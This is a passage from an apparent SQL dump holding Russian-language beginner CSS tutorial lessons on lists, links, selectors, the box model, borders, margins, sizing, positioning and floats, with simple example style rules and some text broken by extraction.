на то, что это\r\nзаголовок первого уровня, он\r\nотобразиться высотой всего\r\nлишь 14 пикселей и будет\r\nголубого цвета\r\n\r\n\r\n\r\nТакже, можно задавать стиль\r\nс помощью атрибута style .\r\nНапример:\r\nНиже я приведу еще два\r\nспособа подключения стилей,\r\nкоторые не требуют внешней\r\nтаблицы стилей. Это чисто для\r\nобщего развития, и\r\nприменять их на практике я\r\n\r\nW3C//DTD HTML 4.01\r\nTransitional//EN&quot;\r\n&quot;http://www.w3.org/TR/\r\nhtml4/loose.dtd&quot;&gt;\r\n\r\n\r\ntitle&gt;\r\n\r\n\r\n\r\nstyle=&quot;color:blue;font-\r\nsize:14px&quot;&gt;Это моя первая\r\nтаблица стилей, и если все\r\nработает, то несмотря на то,\r\nчто это заголовок первого\r\nуровня, он отобразиться\r\nвысотой всего лишь 14\r\nпикселей и будет голубого\r\nцвета\r\n\r\n\r\n\r\nОба эти примера не\r\nиспользуют хотя бы потому,\r\nчто они не дают особых\r\nпреимуществ перед html .\r\nВедь при попытке изменить\r\nдизайн всего сайта,\r\nпостроенного по такому\r\nпринципу, придется изменять\r\nстили на всех страницах,а это\r\nопять же время...','','files_2688_3240_'),(31,4,'Урок 1: Что такое CSS ?','Стиль - это набор параметров,\r\nзадающий внешнее\r\nпредставление некоторого\r\nобъекта в той или иной среде.\r\nCSS - это сокращение от\r\nCascading Style Sheets - в\r\nпереводе Каскадные таблицы\r\nстилей. Уникальное\r\nизобретение человечества,\r\nзначительно облегчающее\r\nсоздание веб-сайтов. CSS\r\nработает со шрифтами,\r\nполями, таблицами,\r\nотступами, картинками и др. и\r\nпредставляет значительно\r\nболее широкие возможности,\r\nчем простой html.\r\nА чем CSS отличается от\r\nHTML ?\r\nДело в том, что изначально\r\nhtml использовался\r\nисключительно для разметки\r\nсодержимого документа. Т.е. с\r\nего помощью указывалось\r\nмол это параграф, а это\r\nтаблица, а это - картинка.\r\nЧто было дальше? С каждым\r\nмесяцем количество\r\nпользователей интернет\r\nросло. Выдвигались все более\r\nсерьезные требования к\r\nВ этом уроке мы с вами\r\nразберемся что такое CSS и с\r\nчем его едят :)\r\nдизайну, т.е. внешнему\r\nоформлению страниц. Вскоре\r\nразработчиками были\r\nизобретены новые теги , такие\r\nкак , , и\r\nдр. которые определяли уже\r\nне структуру, а внешний вид.\r\nТаких тегов появилось очень\r\nмного. И все бы хорошо, НО!\r\nбольшая доля этих тегов\r\nподдерживалась только\r\nодним видом браузеров.\r\nОбычным явлением, при\r\nпопытке просмотра того или\r\nиного сайта стала ошибка :\r\n&quot;Вам необходим браузер X для\r\nпросмотра этой страницы&quot;.\r\nСпециально для исправления\r\nэтой ситуации был создан CSS .\r\nОн предоставил возможность\r\nточного дизайна,\r\nподдерживаемого всеми\r\nбраузерами.\r\nВот еще пример отличия css\r\nот html :\r\nДопустим перед нами стоит\r\nзадача сделать сайт о природе\r\nиз 100 страниц. Как вы\r\nпонимаете, по правилам\r\nхорошего тона, весь сайт\r\nнеобходимо выполнить в\r\nодном стиле, к примеру,\r\nзеленый фон, шрифт Verdana\r\n14 размера , ссылки красного\r\nцвета.\r\nЕсли\r\nмы делаем такой сайт на\r\nчистом html, то на каждой\r\nновой странице нужно\r\nуказывать зеленый фон,\r\nуказывать чтобы ссылки были\r\nкрасного цвета, каждому\r\nновому параграфу указывать\r\nшрифт 14 размера. Т.е.\r\nкаждой странице нужно как-\r\nбы заново создавать стиль.\r\nТеперь сделаем тоже самое\r\nна\r\nCSS . В отдельном файле\r\nсоздаем стиль одинаковый\r\nдля всех страниц. И в каждой\r\nстранице пропишем\r\nединственную строчку\r\nподключающую этот стиль.\r\nВот и все!\r\nи чем же это круче? А Вы\r\nпредставьте, что в один\r\nпрекрасный день вы захотели\r\nпоменять дизайн всего сайта.\r\nВ случае с чистым html , Вам\r\nпридется заходить на каждую\r\nстраницу и менять все\r\nпараметры на другие,\r\nпредставьте сколько это\r\nзаймет времени. Но в случае\r\nиспользования CSS вы просто\r\nпоменяли эти параметры в\r\nфайле стилей и на всех 100\r\nстраницах дизайн обновился!\r\nчувствуете разницу?\r\nТем более с помощью CSS\r\nможно делать такие вещи,\r\nкоторые на html сделать\r\nвообще нереально. По ходу\r\nобучения Вы сами увидите это.\r\nПодведем итоги\r\nосновные преимущества CSS :\r\nуправление дизайном\r\nлюбого количества\r\nдокументов с помощью\r\nодной таблицы стилей;\r\nболее точный дизайн\r\nстраниц, поддерживаемый\r\nвсеми браузерами;\r\nНу\r\nразделение документа на\r\nдве составляющие:\r\nструктура и дизайн,\r\nблагодаря чему исходный\r\nкод становится чистым и\r\nлегко читаемым\r\nновые расширенные\r\nвозможности по сравнению\r\nс обычным html','','files_1444_4892_'),(38,4,'Урок 6: Списки в CSS','В этом уроке мы рассмотрим основные свойства CSS , отвечающие за внешний вид списков. Их совсем чуть-чуть, так что урок будет коротким, но полезным!\r\n*. list-style-type\r\n*. list-style-position\r\n*. list-style-image\r\n*. list-style\r\nЗапомните : Все эти свойства универсальны, т.е. могут применяться как к упорядоченным спискам, так и к неупорядоченным. В этом то иприкол CSS , что можно из неупорядоченного списка, сделать упорядоченный и наоборот :)\r\nСвойство LIST-STYLE-TYPE\r\nПозволяет определять вид маркера элементов списка. Это могут быть цифры, буквы, квадратики, кружочки и др. Ниже приведены основные значения этого свойства:\r\n*. disk - маркер в виде закрашенного круга;\r\n*. circle - маркер в виде незакрашенного круга;\r\n*. square - маркер в виде закрашенного квадрата;\r\n*. decimal - обычные десятичные числа , например 1,2,3,4,5 и т. д. ;\r\n*. upper-roman - большие римские цифры, типа I, II, III, IV, V и т.д. ;\r\n*. lower-roman - маленькие римские цифры типа i, ii, iii, iv,v и т.д.\r\n*. upper-alpha - большие буквы A, B, C, D, E и так далее;\r\n*. lower-alpha - малые буквы типа a,b,c,d,e и т.д.;\r\n*. none - маркер списка отсутсвует;\r\nПеределаем, для прикола, упорядоченный список в неупорядоченный, т.е. элементу OL( упорядоченый список) напишем square, а элементу UL(неупорядоченный) тип upper-roman;\r\nol { list-style-type : square ;}\r\nul { list-style-type : upper-roman ;}\r\nСвойство LIST-STYLE-POSITION\r\nЭто свойство определяет положение маркера. Может принимать два значения:\r\n*. outside - за пределами основного блока элемента списка;\r\n*. inside - внутри основного блока списка.\r\nТ.е. если мысленно обвести прямоугольником основной блок списка, получится примерно следующее:\r\nТолько учтите, это свойство уже устарело, и сейчас, в новых версиях браузеров может уже и не работать!\r\nСвойство LIST-STYLE-IMAGE\r\nЭто наверное самое интересное свойство в списках. Оно позволяет поставить вместо маркера любое изображение. В качестве значения указывается ключевое слово url и затем в круглых скобках путь к изображению. В некоторых устаревших версиях браузеров, работает неккоректно.\r\nul { list-style-image : url(galka.gif) ;}\r\nНе забывайте, что url(galka.gif) означает что изображение galka.gif лежит в той же папке, где и css -файл. Если у вас изображение не там, соответственно и путь указывайте другой!\r\nСокращенная форма LIST-STYLE\r\nПеречисленные выше свойства можно записать более компактно. Для этого существует сокращенный вариант list -style;\r\nТакой вариант из трех строк:\r\nul {\r\nlist-style-type : square ;\r\nlist-style-position : inside ;\r\nlist-style-image : url(galka.gif) ;\r\n}\r\nРациональнее заменить таким:\r\nul { list-style : square inside url(galka.gif) }\r\nСвойства указываются через пробел и последовательность в данном случае роли не играет.\r\nЕсли какое-либо свойство не указать, ему присвоится значение по умолчанию.','','files_3341_4945_'),(39,4,'Урок 7: Ссылки в CSS','Вы не раз замечали\r\nна различных сайтах, как при\r\nнаведении на ссылку меняется\r\nее внешний вид. Ну например\r\nисчезает подчеркивание или\r\nменяется цвет. Это делает как-\r\nраз CSS , а именно за это\r\nотвечают псевдоклассы -\r\nклассы, способные учитывать\r\nте или иные условия , при\r\nопределении свойств html\r\nэлемента.\r\nКак применить псевдокласс к\r\nссылкам?\r\nЗаписываем для начала\r\nэлемент А, к которому мы\r\nбудем применять псевдокласс,\r\nзатем\r\nставим двоеточие и\r\nуказываем имя псевдокласса,\r\nа уже потом в фигурных\r\nскобках указываем нужный\r\nстиль.\r\nА : ИМЯ ПСЕВДОКЛАССА\r\n{ ...стиль ...}\r\nНу вот для ссылок например\r\nбывает четыре псевдокласса:\r\nA:link { ... стиль оформления\r\nобычной ссылки... }\r\nA:active { ... стиль оформления\r\nссылки в момент нажатия... }\r\nA:visited { ... стиль оформления\r\nпосещенной ссылки... }\r\nНаверное\r\nА:hover { ... стиль оформления\r\nссылки, на которую наведен\r\nуказатель мыши ... }\r\nПопробуем создать\r\nсвой стиль:\r\na:link {\r\ncolor: blue ;\r\n}\r\na:visited {\r\ncolor:gray;\r\n}\r\na:hover {\r\ncolor:red ;\r\ntext-decoration:none;\r\n}\r\na:active {\r\ncolor:green;\r\ntext-decoration:none;\r\n}\r\nВ примере выше ссылка ведет\r\nсама на себя, и поэтому чтобы\r\nувидеть класс уже\r\nпосещенной ссылки, нужно\r\nобновить страницу.\r\nВообще вариантов\r\nоформления ссылки может\r\nбыть множество, и каждый\r\nделает под конкретный\r\nдизайн что-то свое. Вот еще\r\nпримерчик:\r\na:link {\r\ncolor: blue ;\r\n}\r\na:visited {\r\nПопробуем\r\ncolor:gray;\r\n}\r\na:hover {\r\ncolor:red ;\r\ntext-decoration:none;\r\nfont-weight:bold;\r\n}\r\na:active {\r\ncolor:green;\r\ntext-decoration:none;\r\ntext-transform:uppercase;\r\n}\r\nБывают случаи, когда мы не\r\nхотим вообще чтобы ссылка\r\nвизуально выделялась на\r\nфоне текста. Решение опять\r\nже в CSS:\r\na:link {\r\ncolor: black ;\r\ntext-decoration:none;\r\n}\r\na:visited{\r\ncolor: black ;\r\ntext-decoration:none;\r\n}\r\na:hover {\r\ncolor: black ;\r\ntext-decoration:none;\r\n}\r\na:active {\r\ncolor: black ;\r\ntext-decoration:none;\r\n}\r\nЕсли для всех псевдоклассов\r\nстиль одинаковый, как в\r\nпримере выше, то это можно\r\nзаписать и короче:\r\na:link, a:visited, a:hover,\r\na:active {color:black; text-\r\ndecoration:none;}\r\nА можно и вовсе без\r\nиспользования\r\nпсевдоклассов:\r\na {color:black; text-\r\ndecoration:none;}','','files_2560_4255_'),(40,4,'Урок 8: Типы селекторов в CSS','для начала, скажу что\r\nселектор служит для того,\r\nчтобы однозначно определить\r\nэлемент\r\nв html документе, к\r\nкоторому мы хотим\r\nприменить тот или иной стиль\r\nCSS .\r\nСелектор по элементу;\r\nСелектор по классу;\r\nСелектор по id;\r\nКонтекcтный селектор;\r\nСелектор по элементу\r\nДо этого момента, мы с вами\r\nработали именно с этим\r\nселектором.Т.е. в качестве\r\nселектора использовалось\r\nнепосредственно имя html\r\nэлемента , к которому мы\r\nхотели применить данный\r\nстиль. Т.е. написав класс\r\nнапример для параграфа(Р) ,\r\nвсе параграфы на странице\r\nприобретали стиль данного\r\nкласса.\r\nP {\r\nfont-family: arial, verdana, sans-\r\nserif;\r\nfont-size: 12px\r\n}\r\nА теперь представьте\r\nситуацию, когда необходимо\r\nсделать первый параграф в\r\nНу\r\nодном стиле, второй в другом,\r\nтретий в третьем и.т.д. Тут нам\r\nна помощь придет селектор\r\nпо классу.\r\nСелектор по классу\r\nДавайте разберем как создать\r\nуниверсальный класс в CSS . А\r\nсделать это очень просто:\r\nсначала ставим точку, затем\r\nсразу, без пробела,пишем имя\r\nкласса, ну а затем в фигурных\r\nскобках стиль. Ну например:\r\n.green {\r\nfont-family: arial, verdana, sans-\r\nserif;\r\nfont-size: 12px; color:green;\r\n}\r\nкак применить данный стиль?\r\nДопустим мы хотим\r\nприменить данный стиль к\r\nопределенному параграфу в\r\nдокументе. Вот как это будет\r\nвыглядеть в html:\r\n\r\n... текст\r\nпараграфа ...\r\n\r\nКак видите используется\r\nатрибут class со значением\r\nназвания стиля. Понятно? вот\r\nвам еще примерчик:\r\nhtml:\r\n\r\nЭто обычный параграф ,\r\nдля него используется\r\nселектор по элементу\r\n\r\nЭтот\r\nпараграф зеленый, т.к к нему\r\nприменили класс\r\n\r\nА этот\r\nпараграф большего шрифта и\r\nкрасный\r\n\r\nЭтот параграф снова\r\nобычный, по классу селектора\r\nэлемента\r\n\r\ncss:\r\np {\r\nКак\r\nfont-family:arial,verdana,sans-\r\nserif;\r\nfont-size:18px;\r\n}\r\n.green {color:green;}\r\n.big_red{\r\nfont-size:28px;\r\ncolor:red;\r\n}\r\nсначала базовый\r\nстиль для всех параграфов\r\n(селектор по элементу), а\r\nпотом уже, если хотим в\r\nкаком-либо параграфе что-то\r\nизменить, создаем для него\r\nспециальный стиль (селектор\r\nпо классу) и присваиваем его\r\nэтому параграфу. Когда мы\r\nсоздаем этот самый\r\nспециальный класс, мы\r\nдолжны писать туда только те\r\nсвойства, которые хотим\r\nдобавить, или изменить, по\r\nотношению к базовому стилю\r\nдля этого элемента.\r\nКлассы из примера выше,\r\nможно применить не только к\r\nпараграфу, но и например к\r\nзаголовкам, или например к\r\nячейке таблицы, или ко всей\r\nтаблице, короче они могут\r\nприменяться везде, где они\r\nмогут на что-то повлиять (в\r\nданном случае везде, где есть\r\nпараметр цвет, и текст).\r\nСделать так, чтобы класс\r\nдействовал только на\r\nопределенный элемент\r\n(например параграф) можно\r\nуказав название элемента\r\nперед точкой:\r\nP.green {color:green;}\r\nУказываем\r\nТеперь класс green не будет\r\nдействовать ни на что другое,\r\nкроме элемента P.\r\nСелектор по id\r\nДанный селектор применяется\r\nесли необходимо выделить\r\nодин единственный элемент ,\r\nуникальный,отличный от всех\r\nостальных в документе. К\r\nпримеру, выделим первый\r\nзаголовок на странице\r\nопределенным образом:\r\nhtml- часть:\r\n&lt;Н1 id=&quot;firstheader&quot;&gt; Первый\r\nзаголовок на странице\r\ncss - часть:\r\nH1#firstheader { color: red;\r\nfont-weight: bold; text-align:\r\ncenter }\r\nКак видите в html-части\r\nвместо атрибута class здесь\r\nупотребляется атрибут id , а в\r\ncss - вместо точки\r\nупотребляется знак #.\r\nВ принципе, то же самое\r\nможно сделать и с\r\nиспользованием селектора по\r\nклассу, это уже кому как\r\nбольше нравится :)\r\nЭто очень полезная вещь.\r\nДопустим у нас есть страничка\r\nс таблицами и параграфами\r\nтекста, причем и в таблице, и\r\nв параграфах встречаются\r\nвыделенные жирным\r\nшрифтом(strong) слова. И вот,\r\nнам резко понадобилось\r\nсделать так, чтобы слова, в\r\nпараграфе, которые выделены\r\nжирным стали зеленого цвета.\r\nТак вот:\r\np strong {color:green }\r\nТ.е. в начале P затем пробел,\r\nзатем STRONG а уже потом\r\nстиль. Читается эта строчка\r\nпримерно так: Если внутри\r\nэлемента P имеется элемент\r\nSTRONG то элементу strong\r\nприсвоить стиль зеленого\r\nцвета.\r\nВложенность может быть\r\nлюбого уровня. Вот еще\r\nпример: &quot;Если вдруг внутри\r\nячейки таблицы (td) ,\r\nвстретится параграф (P) ,\r\nвнутри которого будет слово\r\nвыделенное жирным (STRONG)\r\nто пусть это слово станет\r\nкрасным! &quot;\r\ntd p strong\r\nКонтекстный селектор\r\n{color:red;}','','files_2598_3483_'),(41,4,'Урок 9: Блоковая модель в CSS','Давайте разберемся что значит эта самая блоковая модель, для этого вспомним немного html.\r\nДело в том, что в html различают элементы блочные и строчные. Причем блочные элементы это как бы отдельная структурная единица, которая всегда отделяется абзацными отступами. Т.е. нельзя расположить два блочных элемента на одной строке. Примером блоков в html могут служить элементы H1-Н6 , Р , DIV . А строчные элементы не создают как-бы отдельной структурной единицы, не отделяются абзацными отступами, и например два строчных элемента могут без проблем расположиться на одной строке. Примером могут быть элементы strong , EM , I .\r\nТехнология стилей CSS также использует понятие блоков. Блоки в CSS представляют собой самостоятельную структурную единицу, имеющую форму прямоугольника. Каждый элемент в дереве элементов документа - самостоятельный блок. Из этого следует, что в CSS есть блоки, которые структурно отделены от остальных, а есть строчные блоки, которые могут находиться внутри структурных блоков. Но и те, и другие имеют одинаковую структуру:\r\nКаждый такой блок обязательно имеет информационную часть, или содержимое, которым может быть текст, изображение или другая информация. Эта часть блока называется его контентом или содержимым. Например, для элемента P содержимым блока является текст абзаца.\r\nВокруг области контента могут быть пустые, не занятые содержимым области, называемые полями (margin) . С точки зрения дизайна поля обеспечивают для содержимого блока эстетическиболее привлекательный вид. При наличии полей определенного размера текст не примыкает вплотную к границам блока. Можно провести аналогию с полями, устанавливаемыми при печати документов на бумаге. Если полей не было бы, то текст начинался бы прямо у края листа. При наличии полей имеются не занятые текстом области вдоль краев листа бумаги, и текст, напечатанный на листе, в этом случае читать приятнее и удобнее.\r\nНепосредственно за полями проходит граница блока (border) , которая может иметь определенную толщину и стиль линий. Ширина блока может быть произвольной - от нулевой (граница в этом случае не видна) до произвольно заданной в единицах измерениях длины. Стиль линийможет быть различным, от простой линии до объемных вариантов. Кроме того, границаможет иметь произвольный цвет.\r\nТакже блок может иметь отступы (padding) , это дополнительное свободное пространство вокруг границы блока. Согласно спецификации CSS, поля, границы и отступы не входят в ширину блока. Таким образом, указывая ширину блока, вы задаете ширину лишьтой части блока, которая отведена для содержимого.','','files_4950_2227_'),(42,4,'Урок 10: Рамки в CSS','Давайте в этом уроке поговорим о рамках. Основные свойства рамок в CSS следующие:\r\n*. border-width\r\n*. border-color\r\n*. border-style\r\n*. Сокращенная форма - border\r\n\r\nСвойство BORDER-WIDTH\r\nЭто свойство задает толщину рамки. Значение обычно указывается в пикселях, но также можно указывать ключевыми словами thin (2px) , medium (4px) и thick (6px).\r\nСвойство BORDER-COLOR\r\nКак вы поняли данное свойствоопределяет цвет рамки. Значение цвета задается обычным образом, т.е. например: &quot;#ff3344&quot;, или &quot;gold&quot;.\r\nСвойство BORDER-STYLE\r\nДанное свойство определяет какого вида будет рамка. Ниже приведены 8 основных значений данного свойства. Всерамки в примере выполнены цветом gold и шириной 6 px .\r\nSOLID\r\nРамка состоит из сплошной линии\r\nDOTTED\r\nТочечная рамка\r\nDASHED\r\nПунктирная рамка\r\nDOUBLE\r\nРамка из двойной сплошной линии\r\nGROOVE\r\nРамка как бы из вдавленной линии, с имитацией объема\r\nRIDGE\r\nРамка отображается выпуклой линией с имитацией объема\r\nINSET\r\nРамка отображается так, что весь блок кажется вдавленным\r\nOUTSET\r\nРамка отображается так, что весь блок кажется выпуклым\r\nПримечание: минимальная ширина рамки типа double должна равняться 3 px, иначе она будет отображаться некорректно.\r\nВот пару примеров стилей:\r\nh1 {\r\nborder-width: 4px;\r\nborder-style: dotted;\r\nborder-color: red;\r\n}\r\nh2 {\r\nborder-width: 18px;\r\nborder-style: inset;\r\nborder-color: red;\r\n}\r\np {\r\nborder-width: 2px;\r\nborder-style: solid;\r\nborder-color: blue;\r\n}\r\nИли такой вариант:\r\nh1 {\r\nborder-width: 30px;\r\nborder-style:outset ;\r\nborder-color: red;\r\n}\r\nh2 {\r\nborder-width: 20px;\r\nborder-style: dashed;\r\nborder-color: gold;\r\n}\r\nh3 {\r\nborder-width: 16px;\r\nborder-style: double;\r\nborder-color: green;\r\n}\r\np {\r\nborder-width: 1px;\r\nborder-style: dotted;\r\nborder-color: blue;\r\n}\r\nСокращенная форма - border\r\nКак и в других свойствах, у рамки есть сокращенная форма border . В начале пишется толщина, затем после пробела стиль, а затем после пробела цвет. Предыдущий пример можно записать так:\r\nh1 {\r\nborder :30px outset red;\r\n}\r\nh2 {\r\nborder :20px dashed gold;\r\n}\r\nh3 {\r\nborder : 16px double green;\r\n}\r\nP {border :1px dotted blue\r\n}\r\n\r\nВо всех перечисленных выше примерах, если добавить после слова border одно из ключевых слов (top, right, bottom, left) можно регулировать параметры рамки с разных сторон соответственно (верх, право, низ, лево). Ну вот например можно сделать так:\r\nh1 {\r\nborder- top -width: 30px;\r\nborder- top -style:solid ;\r\nborder- top -color: red;\r\nborder- right -width: 20px;\r\nborder- right -style:dashed ;\r\nborder- right -color: gold;\r\nborder- bottom -width: 10px;\r\nborder- bottom -style:dashed;\r\nborder- bottom -color: green;border- left -width: 40px;\r\nborder- left -style:solid ;\r\nborder- left -color: blue;\r\n}\r\nЕстественно намного красивее код будет выглядеть в сокращенном виде:\r\nh1 {\r\nborder- top : 30px solid red;\r\nborder- right : 20px dashed gold;\r\nborder- bottom : 10px dashed green;\r\nborder- left : 40px solid blue;\r\n}\r\nМожно также комбинировать перечисленные выше свойства, ну например так:\r\nh1 {\r\nborder : 30px solid red;\r\nborder-bottom : 10px solid gold;\r\n}\r\nh2 {\r\nborder : 30px solid red;\r\nborder-bottom-color : green\r\n}','','files_4540_4070_'),(43,4,'Урок 11: Поля (margin) и отступы (padding)','Это очень простой, но в это же время и нужный урок. Давайте посмотрим, в чем отличие margin от padding. Для этого, еще разок вспомним блоковую модель в CSS.\r\nMARGIN (Поля) - это расстояние от границы(рамки) блока, до ближайших элементов, или, если их нет, до краев документа.\r\nPADDING (Отступы) - как бы внутреннее расcтояние, между границей(рамкой) и содержимым блока.\r\nИ давайте сразу посмотрим примерчик: создадим три стиля для трех разных параграфов, с различными значениями marginи padding и посмотрим на результат:\r\n.p1 {\r\nbackground-color : #FFE446;\r\nborder:1px solid red;\r\nmargin : 70px ;\r\n}\r\n.p2 {\r\nbackground-color : #FFE446;\r\nborder:1px solid red;\r\npadding : 70px ;\r\n}\r\n.p3 {\r\nbackground-color : #FFE446;\r\nborder:1px solid red;\r\nmargin : 50px ;\r\npadding : 20px ;\r\n}\r\nДобавляя уже знакомые нам ключевые слова: top, right, bottom, left можно регулировать отступы и поля соответственно сверху, справа,снизу, слева .\r\np {\r\nmargin-top :50px;\r\nmargin-right :50px;\r\nmargin-bottom :50px;\r\nmargin-left :150px;\r\n}\r\nТоже самое, только в более сокращенной записи:\r\np {\r\nmargin :50px;\r\nmargin-left :150px;\r\n}\r\nТ.е. так как только левое поле отличается от остальных, мы просто записали общее поле, а потом дописали значение левого поля, и получили тот же результат что и в первом примере.\r\nВозможен также такой вариант записи:\r\np {\r\nmargin : 50px 50px 50px 150px;\r\n}\r\nТ.е. значения записываются по часовой стрелке: верхнее, правое, нижнее, левое.\r\nВ каких случаях лучше пользоваться отступами, а в каких полями?\r\nА это уже решать Вам, могу только дать несколько принципиальных отличий:\r\n*. Отступы(padding) распологаются внутри блока, а поля(margin) - за их пределами;\r\n*.\r\nФон блока и фоновое изображение распространяются только на отступы, но не на поля. Поля всегда прозрачны, и сквозь них просвечивает фон родительского элемента.','','files_3171_3833_'),(44,4,'Урок 12: Высота(height) и ширина(width) блоков','Как Вы уже наверное заметили, по умолчанию высота и ширинаблоков определяются автоматически, т.е. чем больше текста(или другого содержимого) тем шире и выше блок.\r\nНо, с помощью технологии CSS , мы можем сами задавать необходимую нам ширину и высоту блоков. Ну что ж, давайте начнем.\r\nHEIGHT - свойство устанавливающее высоту блока;\r\nWIDTH - свойство устанавливающее ширину блока;\r\nОбычно, в качестве блоков в CSSиспользуют элемент DIV . Однако свойство ширины и высоты можно применить и к параграфам, спискам и др.\r\nТеория - теорией, но давайте практиковаться. Я создал 4 класса, и поочередно присвоил их одному и тому же боксу (в данном случае DIV ) с текстом. Смотрите что получилось.\r\n.box1 {\r\nwidth : 300px;\r\nborder: 1px solid red;\r\nbackground: #FFE446;\r\n}\r\nКак видите, ширина фиксированная и равна 300 пикселей, а высота устанавливается по умолчанию,в зависимости от содержимого.\r\n.box2 {\r\nheight : 300px;\r\nborder: 1px solid red;\r\nbackground: #FFE446;\r\n}\r\nТеперь, фиксированная высота, а ширина растягивается по содержимому.\r\n.box3 {\r\nwidth : 300px;\r\nheight : 600px;\r\nborder: 1px solid red;\r\nbackground: #FFE446;\r\n}\r\nЗдесь фиксированная как высота, так и ширина.\r\n.box4 {\r\nwidth : 300px;\r\nheight : 300px;\r\nborder: 1px solid red;\r\nbackground: #FFE446;\r\n}\r\nА это пример того, как будет выглядеть бокс с фиксированной шириной и высотой, если содержимое не влазит туда :)\r\nТекст попросту выходит за рамки блока.\r\nПримечание!\r\nКак я уже говорил, в 9 уроке, согласно спецификации CSS, поля, границы и отступы не входят в ширину блока. Таким образом, указывая ширину блока, вы задаете ширину лишьтой части блока, которая отведена для содержимого.','','files_4301_2715_'),(45,4,'Урок 13: Позиционирование блоков','Технология CSS позволяет размещать что угодно, там где Вам угодно. Нужно просто указать координаты блока и все. Под блоком мы понимаем не только\r\n, но и заголовки,параграфы, рисунки, списки, в общем все, что является блоковой моделью. Это помогает создать действительно прикольный, уникальный дизайн.\r\nРассмотрим две основные модели позиционирования:\r\n*. Абсолютное позиционирование (POSITION:ABSOLUTE;)\r\n*. Относительное позиционирование (POSITION:RELATIVE; )\r\nАбсолютное позиционирование (POSITION:ABSOLUTE;)\r\nОбычно для позиционирования применяют именно этот тип. В технологии CSS, свойство позиционирования обозначается как POSITION , а чтобы указать , что это позиционирование абсолютное, пишут значение ABSOLUTE . Затем используя ключевые слова top, right,bottom,left указывают необходимые координаты, которые отсчитываются от краев окна браузера.\r\nПосмотрите на рисунок ниже. Я специально сделал рамку боксу,чтобы было более понятно, откуда отсчитываются координаты.\r\nОгромный плюс абсолютного позиционирования в том, что бокс с абсолютным позиционированием располагается по заданным координатам, а из того места, где он должен был бы быть, он удаляется.\r\nБлин, на словах объяснить проблематично, так что давайтепокажу на примере:\r\nРассмотрим, обычный документс одним изображением, и обтекающим его текстом.\r\nА теперь, спозиционируем изображение , для чего создадим класс, и присвоим его изображению. Код класса, выглядит примерно так:\r\n.smile {\r\nborder: 1px solid red;\r\nposition : absolute ;\r\ntop :100px;\r\nright :100px;\r\n}\r\nНу а с html думаю проблем у Вас не будет, чтобы применить класс к изображению, пишем типо .\r\nЧто мы видим? как я уже писал раньше, изображение удалилось из того места, где оно было(вместо изображения теперь там текст), и переместилось соответственно указанным координатам. В примере выше, я сделал красную рамку, чисто для того, чтобы было нагляднее понятно, что координаты отсчитываются правильно. А вообще, ее лучше не ставить :)\r\nОбычно указываются только две координаты, т.е. привязка идет к любому из углов документа.\r\nВот еще пример стиля:\r\n.smile {\r\nposition : absolute ;\r\nbottom :300px;\r\nleft :100px;\r\n}\r\nЕсли необходимо зафиксировать блок, т.е. чтобы он не прокручивался вместе с основным содержимым, т.е. не скролился, то необходимо указать значение FIXED .\r\n.smile {\r\nposition : fixed ;\r\nbottom :300px;\r\nleft :100px;\r\n}\r\nОтносительное позиционирование (POSITION:RELATIVE; )\r\nПри относительном позиционировании, бокс смещается , но его прежнее место ничего не заполняет. Обозначается в как POSITION: RELATIVE;\r\nКоординаты в отличие от абсолютного позиционирования, отсчитываются от прежнего положения блока.\r\nЕсли изображение спозиционировать относительно.\r\nCss код:\r\n.smile {\r\nborder:1px solid red;\r\nposition : relative ;\r\ntop :200px;\r\nleft :100px;\r\n}','','files_1658_2931_'),(46,4,'Урок 14: Плавающие блоки(свойство float)','В этом уроке я вкратце коснусь такой вещи как плавающие блоки. Вообще , с помощью плавающих блоков можно создавать различные эффекты идаже дизайн страниц, т.н. блочный дизайн. Большинство современных сайтов строятся именно по блочному принципу. Поэтому, мне кажется , что очень важно разобраться как это работает!\r\nИтак, Плавающие блоки в CSS определяются свойством float.\r\nСвойства FLOAT\r\nДанное свойство определяет, будет ли блок плавающим и в какую сторону он будет перемещаться. Свойство может принимать следующие значения.\r\n*. left - структурный блок перемещается влево. Остальное содержимое документа будет выводиться вдоль правой стороны блока, начиная с самого верха.\r\n*. right - структурный блок перемещается вправо. Остальное содержимое документа выводится вдоль левой стороны блока, начинаяс самого верха.\r\n*. none - блок не перемещается (значение по умолчанию).\r\nНу вот например, как будут располагаться по умолчанию,три квадратных блока, со стороной в 200 пикселей.\r\nhtml код :\r\nПервый блок\r\n\r\nВторой блок\r\n\r\nТретий блок\r\n\r\nCSS код :\r\n.box1 {\r\nwidth :200px;\r\nheight :200px;\r\nborder :1px solid red;\r\nbackground-color :orange;\r\n}\r\n.box2 {\r\nwidth :200px;\r\nheight :200px;\r\nborder :1px solid red;background-color :orange;\r\n}\r\n.box3 {\r\nwidth :200px;\r\nheight :200px;\r\nborder :1px solid red;\r\nbackground-color :orange;\r\n}\r\nКак видите, по умолчанию каждый следующий блок, находится под предыдущим.\r\nИспользуя свойство float можносделать так, чтобы каждый блоквсплывал влево, т.е. это будет выглядеть так:\r\n.box1 {\r\nwidth :200px;\r\nheight :200px;\r\nborder :1px solid red;\r\nbackground-color :orange;\r\nfloat : left ;\r\n}\r\n.box2 {\r\nwidth :200px;\r\nheight :200px;border :1px solid red;\r\nbackground-color :orange;\r\nfloat : left ;\r\n}\r\n.box3 {\r\nwidth :200px;\r\nheight :200px;\r\nborder :1px solid red;\r\nbackground-color :orange;\r\nfloat : left ;\r\n}\r\nВот как будет выглядеть, если блоки будут всплывать вправо:\r\n.box1 {\r\nwidth :200px;\r\nheight :200px;\r\nborder :1px solid red;\r\nbackground-color :orange;\r\nfloat : right ;\r\n}\r\n.box2 {\r\nwidth :200px;\r\nheight :200px;border :1px solid red;\r\nbackground-color :orange;\r\nfloat : right ;\r\n}\r\n.box3 {\r\nwidth :200px;\r\nheight :200px;\r\nborder :1px solid red;\r\nbackground-color :orange;\r\nfloat : right ;\r\n}\r\nКлассический пример применения - это когда надо сделать чтобы текст выводился в колонках. Пусть колонки будеттри.\r\nCSS код:\r\n.column1 {\r\nfloat : left ;\r\nwidth: 33%;\r\n}\r\n.column2 {\r\nfloat :left ;\r\nwidth: 33%;\r\n}\r\n.column3 {\r\nfloat :left ;width: 33%;\r\n}\r\nВ html-коде просто заключим необходимый текст в соответствующие колонки, тегами DIV\r\n\r\nThere is one universal truth in website making: To make a websitet...\r\n\r\n\r\n\r\nIf you\'re like the vast majority of people thinking...\r\n\r\n\r\n\r\nThere is one universal truth in website...\r\n\r\n\r\nГоворя о плавающих блоках, необходимо упомянуть также о свойстве CLEAR - специфическоесвойство, позволяющее определенным образом позиционировать плавающие блоки.\r\n*. left - блок должен размещаться ниже всех 